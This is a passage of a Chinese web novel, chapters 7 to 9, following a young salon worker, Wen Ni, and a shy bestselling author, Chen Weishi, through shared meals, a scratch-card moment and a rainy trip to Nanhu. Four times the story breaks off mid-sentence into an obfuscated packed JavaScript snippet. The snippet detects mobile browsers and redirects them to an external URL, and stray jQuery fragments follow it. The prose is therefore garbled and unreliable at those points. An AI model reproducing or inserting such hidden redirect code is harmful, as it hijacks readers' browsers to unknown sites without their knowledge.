曹悦看起来是个特别温和的女孩,年纪比她还小,让她想起自己初出社会的时候。 那个时候她很傻,经常被人欺负。所以当时看到徐阳那样对待曹悦,她忍不住帮了一把。 也就是上个月的事,自从她帮过曹悦几次,徐阳对她态度就变了,越来越恶劣,隔三差五找她的茬。 当时她是真的挺生气,一点都不想搭理曹悦,但后来也就懒得生气了。 这要是在半年前,她还在江城的时候,大概会有那么一些伤心,可经历了这么多之后,她对人情冷暖已经越发看得淡漠了。 等周倩出来,她排上了卫生间的号,进去快速洗漱,顺便放一首喜欢的欧美小曲唤醒这平平无奇的一天。 看了眼镜子里的自己,确实炸毛了,但…… 还是那么漂亮。 她自恋地对着镜子摆了几个做作的pose,欣赏自己的美貌。她可不是什么“美而不自知”的人,她向来很清楚自己的优势在哪里。 从小周围的人就夸她长得好看,是个美女。 从小周围的人也夸她性格好,讨人喜欢。 等下只是去那个姐姐那里送个伞,她压根没想要做多余的打扮,跟平常一样把头发夹了夹,做了个简单而又炫酷的造型。 手机振动,收到了陈微时的消息:到西门告诉我,我帮你开门。 温旎照着镜子,心不在焉地回复了一个“嗯嗯”的表情包。 今天外面阴沉沉的,但没下雨。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16526361|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>温旎拿上那把浅绿色的伞,让陈微时帮她穿过西门门禁,又在单元门厅里按门铃,等陈微时给她开门。 陈微时几乎没让她等,刚按了几下门就开了。 “姐姐,早啊。”一打开门,便看到温旎那张灿烂的笑脸,好像天气都明媚了起来。 陈微时今天穿了件浅蓝色长袖衬衫,微喇牛仔裤,长发扎成马尾,恍然间竟有几分学生气。 “……早。”她只看了温旎一眼,便立刻低垂了眼睫,侧身让对方进来,“不忙的话,进来坐坐吧。” 温旎也没客气,很自觉地换上了那双蓝色拖鞋,边换还边夸道:“姐姐你今天好漂亮哎。” 陈微时从不觉得自己是美女,她没朋友,父母也从不夸她漂亮,身边最多的夸奖都是围绕着“才华”“成绩”。 很少有人像温旎一样,这么热烈又直接地赞美她。 她脸颊微烫,低头从冰箱里拿出饮料,干巴巴地“嗯”了一声:“……你也是。” 温旎把雨伞放在门后的原位置上,闻言扬起了下巴:“那当然,美女只跟美女玩嘛。” 别人臭屁自恋可能会稍微有点油腻,可温旎的臭屁自恋却看起来那么自然而然,还有点搞笑,让陈微时忍不住弯起了唇角。 在这个阴沉的梅雨天里,温旎好像一个小太阳,充满了热情和烟火气,照亮了这套冷冰冰的小房子。 可想起昨天看到的那个视频,陈微时心头又忍不住有一丝发酸。 直接的哭泣和悲伤固然令人动容,灿烂背后未知的黯然,于她而言却更引人探究。 温旎并不知道陈微时在想什么,在她眼里陈微时只是坐在那里听她说话而已。 “我就知道你不是本地人。”温旎眨了眨眼,“你普通话讲得像新闻联播一样。” 陈微时再次被她逗笑:“我……刚在这里住两个多月而已。” “原来才两个月啊,”温旎讶然,“姐姐,那我都比你住得久呢。我来这里都快半年了。” “那你有没有出去玩?”温旎突然想到了什么,“我看你朋友圈发了画画的,你应该很喜欢写生吧,南湖去过了没?” 陈微时摇头:“没。” 她哪里都没去过。 “那我推荐你去南湖!”温旎笑道,“我刚来苏城的时候去了,景色真的不错,就是交通有点不方便,哎,姐姐,如果你要去,一定告诉我,我帮你避坑。” 南湖是苏城最著名的景点,在国际范围都享有盛名,每年都有大量游客涌入,早就形成了一个庞大的旅游圈,不管是否节假日,都是人山人海的,因此陈微时根本没想着要去玩。 温旎说话的时候表情很生动,眉眼似乎也在讲话,陈微时看着她,不由得有些出神。 “……还有南山寺,也挺不错的,我还去求签了呢,上上签。”温旎说起这个,更是来了精神。 她很信这些的。 陈微时点点头,温声说道:“好,我会去的。” 温旎在这里说这么多,除了是出于热心和好意,以及对陈微时的感激,最主要还是因为她现在很无聊。 还有一些焦躁。 这种焦躁伴随着她长大,起因只有简单的两个字:生存。 她需要一些快乐,需要做一些事情,去缓解这种焦躁感。 和陈微时闲聊了一会儿,时间也差不多了,她打算在西门旁的早餐店买俩肉包子吃,然后回店里面对那些烦心的事、麻烦的人。 那俩肉包子是她今天上午最大的快乐来源。 就在她即将起身告辞时,门铃先响了,陈微时起身,迟疑着开口:“如果不忙的话……留下来吃饭吧。” 7.再见 想到昨天那顿饭…… 已经十四个小时没吃饭的温旎,的确是没出息地心动了一下。 真好吃啊。 但是老白吃白喝的,她真觉得不合适,再说,她和对方又不是很熟的朋友。 刚要拒绝,就听陈微时轻声说道:“顺便多跟我说一说,苏城哪里好玩,我想了解一下。” 这样的啊。温旎舒了一口气,不是白吃白喝就好:“那姐姐,我就又打扰你了。” “不打扰。”陈微时咬了咬唇,“我一个人吃不完那么多饭菜,也很浪费。” 这些饭菜不是普通的外卖,而是她妈妈远程操作为她订的私厨外送,由于徐若华的要求是有荤有素各种营养物质都兼具,导致分量无论如何都下不去,有时候陈微时不得不打电话过去,让少送一餐。 说到浪费,温旎最看不得浪费粮食了,她恨不得当陈微时家的狗,帮陈微时吃剩饭。 她主动帮忙把外卖拿进来装盘,手脚麻利,动作迅速,还跟陈微时开玩笑:“姐姐,一看你就是公主命,完全不是做家务的人,你装盘是这样的……”她说着,学起了陈微时那轻手轻脚的动作,笑道,“好像‘闪电’。” “闪电?”陈微时一时间有些迷茫。 温旎一手一个盘子端过来:“就是《疯狂动物城》里的树懒呀!闪电。” “哦……”陈微时恍然,无奈地笑了。 温旎装盘,陈微时便去拿饮料。她自己是不喝饮料的,饭菜也有汤品,但温旎似乎格外喜欢甜饮,她便拿了和昨天一样的气泡水。 果然温旎很喜欢。但她喝得比较克制,因为她要吃饭。 喝饮料会占空间的。 可能是太饿了,也可能是因为在陈微时面前太放松,一不留神就又吃快了。温旎放下筷子,摸着肚子不好意思地说道:“姐姐……你会不会嫌弃我吃相难看啊?” 这句话给人以亲热感,素来拒别人于千里之外的陈微时,对这种感觉很敏感。 对她来说,这是对方想靠近她的表现。 她竟然没有不快,心里还产生了一丝莫名的愉悦感。 温旎好像一只吃饱喝足的猫,在翻着肚皮跟她撒娇。 “当然不会。”她神情柔和,“你吃得香,我也很开心。” 她停顿了一下,低垂眼睫,“如果……你觉得好吃的话,也可以经常来吃。” 温旎眼睛稍微睁大了一下,有些惊讶,又有些迷惑,但随即又恢复了笑眯眯的模样:“姐姐,谢谢你。” 她没拒绝,却也没说会来吃,这个话题就这么错过去了。 陈微时没有任何社交经验,也不知道该怎么继续那个话题,只能慢慢地吃饭,听温旎眉飞色舞地讲一些苏城的事给她听。 “……反正,姐姐,你去那边绝对别坐那个观光车,坑死,根本没多远。”说到这里,温旎突然停了一下。 哎,她都忘了,陈微时虽然不算什么大富豪,却也肯定不差观光车这四十块。 而陈微时这个人,听她说什么,也只会说“好”“嗯”“我会去的”…… 怪无聊的。 说着说着她也觉得没意思了,加上也怕打扰陈微时工作,洗过碗筷收拾了本就挺干净的厨房之后,就告辞了:“姐姐,那我就先回店里啦。” 陈微时站起来看着她:“……好。” 这次陈微时坚持要送她到楼下,她也没拒绝,走到单元门厅里,她回头笑道:“姐姐快回去吧。” “嗯……”陈微时抬起一直低垂的目光,看着她,轻声说道,“那……再见。” 也不知道是不是错觉,温旎觉得她好像有点舍不得自己。 不过……她也习惯了,从小到大,她一直挺受欢迎的,朋友也多,所经历的坎坷也多,身边的人来来走走,很多人都舍不得她,但最终不还是都离开了。离别于她而言已是家常便饭。 如果每个人她都要去舍不得,那她得舍不得多少人啊?她也不用吃饭了,就天天在那里舍不得这个舍不得那个。 那样活着多难受啊。 有那时间,不如去码头整点薯条吃。(1) 所以即便陈微时是个很善良的姐姐,是她很感激的人,她也能坦然接受她们只有短短几面缘分这个事实。 她们本来就不是一样的人啊,陈微时还比她大那么多,她会珍惜陈微时带给她的温暖,以后她也会跟别人说,她从前遇到过一个特别特别好的姐姐,善良得像天上掉下来的仙女,她运气是不是很好? “姐姐再见!”走出门厅,她回头挥手灿烂笑道,“祝你的书大卖!” 隔着透亮的玻璃,她的笑容仿佛在闪光,陈微时也不禁笑了,抬手轻轻跟她挥了一下:“……” 今天没出去逛街,没去咖啡馆写生,却仿佛比去闲逛十天收获都多。 对于陈微时来说,这种收获并非具体的什么,而是一种感觉。 她打开电脑,在文档上写下五个字:第五个季节。 对她来说,这个江南的梅雨季,因为这个女孩的出现而变得不一样。 温旎吃饱了心情会变好,回去正好撞见徐阳在开门,竟然也能心平气和地叫了声“师父”。 徐阳从鼻孔里哼了一声,没理她,自顾自地进去了。 温旎无所谓地扬了扬眉,跟在他身后走了进去,抢先拿起拖把,去里面的池子洗了,开始拖地。 日子还是要继续。 既然她先示好,徐阳也就“宽宏大量”没跟她计较,只是和之前一样,对她颐指气使,摆足了“师父”的派头,温旎在心里骂他是个傻x,表面不说话,闷头做自己的事。 她讨厌这家店,这份工作,但她更不想去火锅店端盘子洗碗,对她来说她的时间她的青春都是宝贵的资源,端盘子洗碗在短时间内学不到太多,一样是做牛马,她想尽可能学点东西。 哪怕是她并不喜欢的技术。 尽管不喜欢,她还是学得很认真,做得也不错,徐阳想骂她都得费劲找借口。 不过,骂来骂去她也有点麻了,有时候徐阳骂她她都直接走神了,甚至去想搞笑的事情了。 第二天中午,趁着人还不多,她和陆笙一起点了份拼好饭的炸鸡,躲在后面的洗发区吃。 她一手戴着一次性手套狼吞虎咽,另一只手拿着手机刷抖音,看到搞笑的视频就用胳膊捅陆笙一把,两个人一起笑。 吃着炸鸡胃有点不舒服,温旎揉了揉肚子,暗怪自己怎么吃了两天清淡的,就对拼好饭消化不良了。 拼好饭明明都是仙品。 正和陆笙笑着,微信就来了条消息。 妈妈:在干嘛? 温旎脸色立刻就沉了下去,最后两块炸鸡也吃不下了,都让给了陆笙。 温雨婷每次给她发消息,准没好事。 她有些烦躁地回复:啥事 妈妈:手头宽裕吗?我有急用。 温旎:你养孩子能不能别老找我要钱?我又不是孩子爸。 妈妈:之前我给过你多少钱,你都忘了? 妈妈:自己赚钱了,就忘本了。 这话说得温旎生气又心酸。当然她为的是自己。 温旎:我都欠钱了,你自己想办法吧。不说了,干活去了。 一下子心情就变得恶劣了,徐阳说她,她又开始顶嘴。 不过,恶劣的心情没持续多久,她的易快乐体质就又开始发挥作用——王静然给她带来了一个好消息。 王静然加上另外一个叫岳琳的朋友,她们会来苏城进行毕业旅行,顺便看望她。 这个消息让温旎开心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528533|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好几天。 虽然她正常情况下没假放,但上午还是有时间的,可以陪王静然和岳琳出去玩。 于是她顶着徐阳的骂声,出去玩了好几个上午。 刚来苏城时她的确去了几个景点,可那都是自己去的,有江城的好友陪伴,她感觉自己好像没那么孤单了,过去的快乐时光仿佛又倒流回来。 王静然和岳琳都是刚毕业的学生,和她差不多穷,车票钱都是攒出来的,三个人身上加起来也没一千块钱,目标出奇一致——省钱,开心。 但是三个人画上精致的妆容,穿上自己最喜欢最酷的衣服,谁会知道她们身上连三百块都没有?只能看到她们年轻热烈的笑容。 正在市中心闲逛时,岳琳突然指着一家商场说道:“哇,这是苏城那家有名的书店!” 各个平台都有年轻人推荐这家书店,书籍新,经常做周边活动,环境好,拍照好看,是个不错的网红打卡点。 岳琳是个爱看书的人,看到书店必会进去转转。 三个人上了二楼,走进那家书店。 一走进这里,人们说话的声音都会不自觉放小放轻。 果然不愧是出名的网红店,占地面积很大,有专门的周边区,热卖书籍都摆在最中间的大展台上,还专门打了灯光。 岳琳和王静然在热卖书籍那里转,温旎却兴致缺缺,一个人往里面走。 书店对她来说有特殊的意义。以前在江城时,她打工的奶茶店里没空调,四十度的天她衣服都快淌水了,中午趁着休息,她会偷偷溜进旁边的书店,坐在最里面的位置享受一下空调。 她喜欢找几本无人问津的名人传记,或者百科书籍,静静地翻看。 因此她喜欢书店,却并不是因为喜欢看书。 不过,今天这家店人好像格外多,柜台旁边排了长长的一队。 她闲着没事,晃过去看了一眼热闹,就看到岳琳也在队伍里,手里还拿着一本塑封的书。 温旎睁大眼睛,过去捅了她一把,低声说道:“你小子发财了是怎么,在这里买书。去网上买不好吗。” 岳琳把书拿给她看,小声说:“有特签,还是畅销作家,很难得的。你等着,说不定以后有人花一千块跟我买呢。” “特签?”温旎皱了皱眉,拿起那本塑封书看了一眼,不就是个破签名,可能加了句什么话吗?这有什么好收藏的,真不知道是谁花一千块买这个…… 书翻到正面,她扫了一眼书名和作者,突然愣了下。 《雾港》,作者:陈,微,时。 “她……很有名吗?”她惊讶地问岳琳。 当时陈微时告诉她自己是作家,她确实有几分敬仰,但也就当是个普通作家。 在她眼里,除了诺贝尔文学奖那种级别,其他人都是普通作家。 “很有名啊。”岳琳点头,“二十二岁就有一本书爆火,连耿秋都夸她。” 耿秋温旎倒是听过,这人获得过国家文学最高奖项,还以幽默的个性出圈了,她没少在抖音刷到过关于他的搞笑视频。 温旎真有点震惊了:“真的啊?” 岳琳:“你去搜嘛,有视频的。” 温旎拿出耳机戴上,去抖音搜了一下。 陈微时。 跳出来好多视频。 除了耿秋在节目里夸她的,还找到了陈微时几年前的专访视频。 那个时候的陈微时还很小,很青涩,说话的时候一直不看镜头,主持人问一句,她答一句。 还有很多,翻不过来。 温旎一脸惊呆地看完,一脸惊呆地拿掉耳机。 “我靠……她这么出名啊。”她惊呆地说道。 没等岳琳说话,她自己接了下一句, “那她应该很有钱吧?” 8.运气 岳琳想了想,小声说道:“应该是吧?她每本书都很火,还签了影视合约呢。这么赚下来,少说几千万吧。” 温旎没说话,还沉浸在震惊里。 哇,这么有名的作家竟然请她吃饭哎。 她对写作领域一无所知,但她对钱有概念啊。 才二十八岁,就有几千万的身家了,还有这么多头衔和名气。 都说什么滤镜都不如金钱滤镜,隔着这层滤镜看陈微时,木讷少言就成了沉默是金,沉闷无聊变成了为人低调,这个人顿时就变得让人有探索欲了,瞬间就格外有魅力了。 顺带着,温旎回忆了一下这几次和她碰面的所有场景,因为这些场景不再无关紧要,而是她生命中重要的一幕。 “……我靠。”最终,她用这两个字来概括自己的心情。 然后她问岳琳:“你在哪里拿的书?” 岳琳指了指热卖区:“就那里啊。你干嘛?” “我也买一本。” 岳琳:…… 买了书出去,吃过饭,三个人在地铁站分开。温旎是真舍不得她们两个,这是她仅有的两个推心置腹的好友。 虽然她们家庭背景不同,境况也不同,但她们有共同的爱好,那就是跳舞。在江城时,温旎省吃俭用,去街舞班学了一年,在那里认识了王静然和岳琳。 她们两个一离开,她在苏城就又是孤零零的一个人了。 她坐在回程地铁上,把那本塑封的书拿出来,翻来覆去看了两遍,还是决定不撕开。 到时候如果真有人买,她就把这个当盲盒卖。 她不知道别人,反正她喜欢开盲盒。 人生又何尝不是开盲盒,只是直到现在,她也没开出什么好运气。 刚刚吃饭时,王静然又不小心说到了江晓月,她当时嘻嘻哈哈过去了,其实心里的疤痕又打了个结,有点郁闷。 “枕水居”也属于市中心,没几站路就到了,温旎往回走着,一抬头就看到了那家刮奖站。(1) 她有点手痒,忍不住停在柜台前,精挑细选了一张,低头用开瓶器刮了起来。 一排排的数字刮出来,还没到一半,温旎就心凉了——越是刮出离幸运数字很近的数字,这张就越是不可能中了。 那种离幸福就差一步的感觉,特别不爽。 于是,当陈微时结束这一天的专访,一个人从西门下车慢慢走回家时,便看到一个熟悉的身影站在刮奖站前,埋头奋力猛刮。 刮到最后一个数字,温旎肩膀松懈了下来,垂头丧气地付了钱。 转身要离开,就看到了站在一边的陈微时。 她今天穿得正式又休闲,一身浅灰色女士小西装上衣,搭配面料柔软的半长裙,还化了浅浅的淡妆,长发似乎特意卷过,但卷得不过分,只有微微弧度。 不是她故意要盯着陈微时看,是金钱的光芒太耀眼,她忍不住。 她眼睛生得浓郁,黑眼珠大大的,盯着人看的时候,似乎要把人吸进去,加上那会说话的眉毛,陈微时莫名有种她要吃了自己的错觉。 “你……在做什么呢?”陈微时错开了目光,看向她身后的刮奖站,露出一丝好奇神情。 还能做什么,在刮奖站当然是在刮奖了。要是别人明知故问,温旎都快不耐烦了。 但是她现在面对的是陈微时,她没一点不耐烦的情绪,反而热情解说道:“姐姐,我在刮奖呢。” “哦……那,中了吗?”陈微时也不知道说什么,只能顺着她的话问。 这几天她都没再和温旎说过话了。她也明白,两个人非亲非故的,只是几面之缘,也没有一直联系的理由。 “没中。”温旎摇头,随即弯起眉眼,“但我转头就看到你了,姐姐,你说这是不是我的运气。” 陈微时双手拎着包,有些不知所措。 她不知道怎么接这话。 也不知道为什么,温旎好像突然对她很热情。 这超出她的社交能力范围,让她疑惑不解,难以应对。 她不接话,温旎很主动地接过话头:“哎姐姐,你这是刚工作回来吗?” 陈微时点头:“嗯……是的。” 温旎的笑脸格外灿烂耀眼,她不知道如何面对,但又并不想离开,只能再次把目光转向温旎身后的刮奖站。 温旎似乎突然想到了什么:“姐姐,你刮过这个吗?” ——肯定没刮过。 果然,陈微时轻轻摇头。 她单手拎住包,另一只手抚上玻璃柜,用动作掩饰自己的不知所措。 温旎笑道:“那你也来刮一张,怎么样?” 陈微时只是有社交困难,她其实对事物很有探索欲。的确,刮奖这件事,她从未了解,也从未做过。 她点点头,然后指着里面琳琅满目的图案,轻声问道:“直接买吗?” 温旎耐心地给她讲解:“你选一张就行。” 陈微时选了一张蓝色封面的。 温旎很自然地接过她手里的包,把开瓶器递给她,眨了眨眼:“姐姐,开刮吧。” 老天奶啊,她也是神了,她竟然拉着有钱人刮奖,还想看看有钱人运气怎么样。 都说钱会流向不缺钱的人,搞不好她会见证这一刻。 陈微时接过开瓶器,刮奖的姿势有点端正,但隔着滤镜,温旎只觉得这个姿势也蛮好看的。 一个又一个数字出现。 温旎看得认真,贴得越来越近,最后简直是把下巴搁在了陈微时手臂上,紧盯着陈微时刮出的数字。 倒数第二个数字,中了。 “三十块!”温旎欢呼,“姐姐你中了!” 虽然不是大奖,但面值二十块中了三十块,相当于中了十块。 果然,钱真的会流向不缺钱的人,新手运气就是好。 看到她比自己还高兴,陈微时翘了翘唇角,柔声问道:“你很喜欢玩这个吗?” “对啊。”温旎的不好意思都很坦然,“不过每次都不多买,只买一张,因为没什么钱嘛。” “哦……”陈微时若有所思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528534|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两个人还有几步路可以一起走,温旎仍然帮陈微时拿着包,白色规整的皮包看上去和她的破洞T恤特别不搭配。 “对了姐姐,”温旎说道,“你要出去玩的话,千万要问我,我给你做攻略,包你不走冤枉路的。” 不管怎么样,温旎当然对陈微时印象很好,但现在,她承认,她确实很想和这个人品好的有钱人搞好关系,而不是想和那个很善良的姐姐搞好关系。 陈微时微愣,但还是点头:“好。” 她好像,总是无法拒绝温旎。 这之后的几天,因《雾港》一直在热卖,陈微时除了无法出席签售会以外,其他的活动都会尽力参加,整个人都疲惫不堪。 温旎偶尔会给她分享一些日常,也会暖心地问候她,这让她很是感动,每次都认真回复。 而且,她也很喜欢和温旎聊天。 她从不打听别人的事,却对温旎有好奇心,时不时也会在聊天中问起,温旎可能是真的很信任她,也都会回答。 于是她知道了温旎在江城的好多经历,那些好友们,以及送外卖那几天遇到的惊险事件。 这些都是陈微时不曾听过见过的。 每次回家她都会在西门停车,遇到温旎的话,便能顺便打个招呼,看到温旎那灿烂的笑脸,那弯弯的眼睛,她心情会好许多。 这一天,她的忙碌终于告一段落了。 晚上快休息时,她给温旎发了消息:我想去南湖。[笑脸] 温旎很快就回复了:没问题~ 隔了十几分钟,温旎便把游览路线和注意事项发了过来。 竟然是手写的攻略。 笔记本稍微有点卷边,上面手写各个景点名字,用箭头表示方向,每条注意事项前面都加了星号。 陈微时反反复复地看着这张图片。 温旎的字出乎意料地好看,整体走势向右上方倾斜,有种飞扬洒脱的感觉。 陈微时:谢谢你。你的字很好看。 温旎:好看的字送给好看的人[笔芯.jpg] ……又是这种让陈微时不太好接的话。 这话让她有些开心,有些不好意思,又有些疑惑,还有些担忧……很复杂的感觉,无法诉诸语言,但这种感觉真实存在。 但她还是认真地找了个“不好意思”的表情包,发了过去。 她是真的觉得不好意思。 攻略这种东西对她来说挺麻烦的,她想,温旎应该之前就做了准备,所以才这么快发给她。 陈微时:我请你吃饭吧。不吃外卖了,去外面的店里吃,你看,你想吃什么? 她学不会温旎那些巧妙热烈的话语,只能用实际行动来表达感谢和好意。 温旎是个小吃货,她早就留意到了。 温旎:姐姐~你请我吃饭,那我请你逛街吧。你之前不是说,想多走走找灵感嘛。 陈微时要请温旎吃饭,陈微时要去南湖游览,温旎要请陈微时去南湖逛街…… 温旎:姐姐,要不,我直接陪你去南湖吧? 9.香软 就因为请半天假,温旎被徐阳追着骂了一下午。 不过好在,假是请下来了,这还是在陆笙答应给徐阳帮忙的前提下。 温旎没心情理他。 不光没心情理会徐阳,她连江晓月的动态都好几天没时间偷窥了,光忙着跟陈微时聊天去了。 其实江晓月的动态也没什么新鲜的,整天不是发自拍就是带货三无化妆品。 和有钱人说话的新鲜感战胜了一切。 和有钱人搞好关系的欲望大过了一切。 第二天,天气如同预报那般,下着濛濛细雨。 不过,下雨逛南湖,倒也别有一番风味了。 陈微时不会开车;温旎有驾照没车。 总之,陈微时打好了车,约温旎在西门口见面,一起上车。 自从知道陈微时是个大作家,温旎在她面前也开始注意仪表了,还特意早起化了个妆,夹了精致的发型。 陆笙迷迷糊糊地从床上起来:“温温,你一大早干什么化妆呀?你今天不是休息吗?” 再说了,就算上班,店里是对发型是有点要求,也没让化妆呀。 温旎对着镜子里的陆笙做作地眨了眨眼睛:“没看出来吗?我要去约会了。” “啊?”陆笙一下子就醒了,“你什么时候有对象了?” “梦里有的。”温旎噗嗤一下笑出声,“哈哈哈哈……” 陆笙愣了一下,反应过来温旎是在逗她,翻了个白眼:“跪恩啊!” 皮了一下很开心,温旎夹好最后一缕头发,抓起店里分的透明塑料雨伞,兴冲冲地走了出去。 她特意早出去了五分钟,谁知道陈微时竟然已经站在路口了。 巧合的是,陈微时竟然也拿着一柄塑料雨伞。 她竟然和富婆默契上了。 富婆竟然也用十块钱一把的塑料雨伞。 不过,陈微时今天穿了一身浅绿色的裙子,同色系腰带勾勒出纤细的腰身,柔顺的长发披散,抛开富婆滤镜也是真的好看。 有种古典的美。 温旎走过去,陈微时也刚好回头看过来,两个人的视线在雨雾中交汇。 “姐姐~”温旎几步踏过去,笑出可爱的虎牙,“你今天真的好美好美!” 陈微时低垂着眼睫笑了一下:“你也很漂亮。” 看着她似乎有些害羞的侧脸,温旎已经到嘴边的恭维话,突然就咽了回去。 她沉默了几秒钟,两个人之间只有雨水落在伞面的沙沙声。 温旎突然笑了一声,朝陈微时凑近了点,两个人的雨伞挤在一起。 “姐姐……你觉不觉得,我们好像在约会?” 她声音有点低,语气很亲昵,气息扑在陈微时脸侧,脸上是狡黠的微笑,涂了网红唇妆的嘴唇有点上翘,像一只嘴巴尖尖的小猫。 “约会”两个字落进陈微时耳朵里,她不禁有些别扭,却又不知为何心跳加快。 她自小博览群书,什么都知道,眼界也并非狭隘,但她从来没往自己身上想过。 或者说,她从来没思考过恋爱这种事发生在自己身上,无论男女。 如果是温旎的话……她好像不反感。 这个念头刚浮现出来,就被她按了下去——她在想什么,温旎只是一个小妹妹,刚才也只是跟她开玩笑,她怎么能在这里浮想联翩。 正好这时,车子也到了。 不愧是富婆,打的车也是商务车,坐起来很舒适,一点怪味都没有,甚至还有点香。 可她不知道的是,平时陈微时并没有这么奢侈,只是因为温旎同去,才特意叫了好一点的车。 然而就是这么好的车,温旎还是很倒霉地晕车了。 她晕车是概率问题,时晕时不晕,偏偏是坐这么好的车晕了,她也真是晕了。 陈微时注意到她坐立难安的样子,先是努力克服社恐,跟司机说道:“师傅……麻烦开稳一点,我妹妹晕车。” 然后又把车窗开了一条细缝,侧头问温旎:“有没有好一点?” 温旎对她摆摆手,晕得说不出话,脑袋一歪便往左侧躺在了两人中间。 她也不想这么丢脸的,可真的好晕。 看到那颗毛茸茸的头低垂着,随着车子晃动,陈微时秀眉微蹙,伸手小心地托住她脖颈,把她头放在了自己腿上。 温旎实在没力气拒绝或是道谢,只觉得自己枕着香香软软的事物,整个头颈都有了承托,感觉好了一点。 陈微时冰凉的手轻轻托住她下巴,这样她就被稳稳地固定在了原位,不会随着车晃动了。 温旎乖乖地闭上眼睛。 这一刻,她心里竟然有几分平静,因为陈微时传递出一种令她安心的感觉。 隔了一会儿,陈微时才低头去看她。 只见她闭着眼睛,长睫毛颤抖着,嘴唇微张,看起来还是很难受。 外面清爽的带着潮湿的风涌进来了几缕,吹起她颊边的碎发,露出戴了银色耳钉的耳朵,这些碎发就这样被吹来吹去。 陈微时抿了抿唇,终于忍不住抬起另一只手,轻轻摸了两下她发顶,把她颊边的碎发按住。 南湖有点远,半个小时后,车子总算停在了荷花池附近。 温旎躺了一路,下车时已经好多了,转头一看陈微时,却见对方面色发白,嘴唇紧绷,眉头也蹙着。 “姐姐,你怎么了?”温旎过去给她递水,陈微时轻轻摆了下手,背过身去,似乎是有些恶心想吐。 温旎这才反应过来——其实陈微时也晕车了。 她连忙伸手轻拍陈微时后背:“姐姐你晕车怎么不告诉我,我还躺你腿上让你照顾我……” 陈微时缓了十几秒钟,喝了口水,这才说道:“……我没事。” “你晕车也是为了陪我来玩,我照顾你是应该的。” 温旎一时无言。 她都好久没和这么讲理的人相处过了,竟然有点不习惯。 雨水和南湖最配,游人的热情根本浇不灭,反而在雨天更盛。 荷花池此时并没有荷花,只有含苞待放的“荷花宝宝”。 两人沿着湖堤漫步,感受着从湖面吹来的徐徐凉风。 “拍立得一张20块!拍立得一张20块!美女要不要拍照?” 有摄影师拿着相机走过。 “温旎。”陈微时难得叫她的名字,“你要不要拍照?” “嗯?”温旎愣了一瞬,随即想起,她好像跟陈微时说过,上次来南湖,她是一个人来的,也没拍照,连自拍都没有。 她当时的语气应该是可惜的。因为她这么自恋的人,其实是想在游玩时留下照片的。 “姐姐你拍吧,我就不拍了。”温旎弯起眉眼,“我今天妆没化好。” 她当然不会说自己是为了省钱。对于目前的她来说,这个钱完全可以省下来买生活必需品。 陈微时却很坚持,很认真地看着她。 僵持了几秒钟,温旎败下阵来,有些无奈但又乖巧地说道:“那好吧,我和姐姐一起拍。” 陈微时身体僵了下——她是说让温旎拍,没说自己要拍。 但如果她不拍,温旎应该也就不拍了。 她想让温旎拍。 叫住了一个摄影师,两人各拍了三张。 照片马上就出来了,拍得很不错,温旎拿着自己的照片欣赏着,沉醉于自己的美貌。 那摄影师怂恿道:“两位美女再来个合照吧!” 听到“合照”,陈微时忍不住朝温旎看过去,但温旎只是心不在焉地对摄影师说道:“不用了谢谢。多少钱?我和我姐姐的一起算。” “那好吧。钱你姐姐已经付过了。” 摄影师有些失望地走开了。 温旎欣赏完自己的美照,才看向陈微时,很不好意思地说道:“姐姐……又让你破费了。我刚才想付钱的,没想到你比我快。” 她的确想付钱来着,但看到陈微时付钱,她也的确没去抢。 这么点钱陈微时未必看在眼里。 陈微时订的是湖滨餐厅,两个人又游览了两处景点后,刚好顺路到那家餐厅吃饭。 其实她心里是有些失落的。 也不知怎么,她很想和温旎有一张合照。 她这么怕拍照的人,竟然想和另一个人有张合照。 这家餐厅比较高档,主打东南亚风味,都是温旎爱吃又没吃过的。 “姐姐,好好吃哦。”温旎拍了照,叉起一块沾了酱料的虾丸送进嘴里,做出很夸张的陶醉表情, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528535|186264||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯~好香!” 陈微时不禁被她的表情逗笑了。 和温旎在一起,她总是会笑。 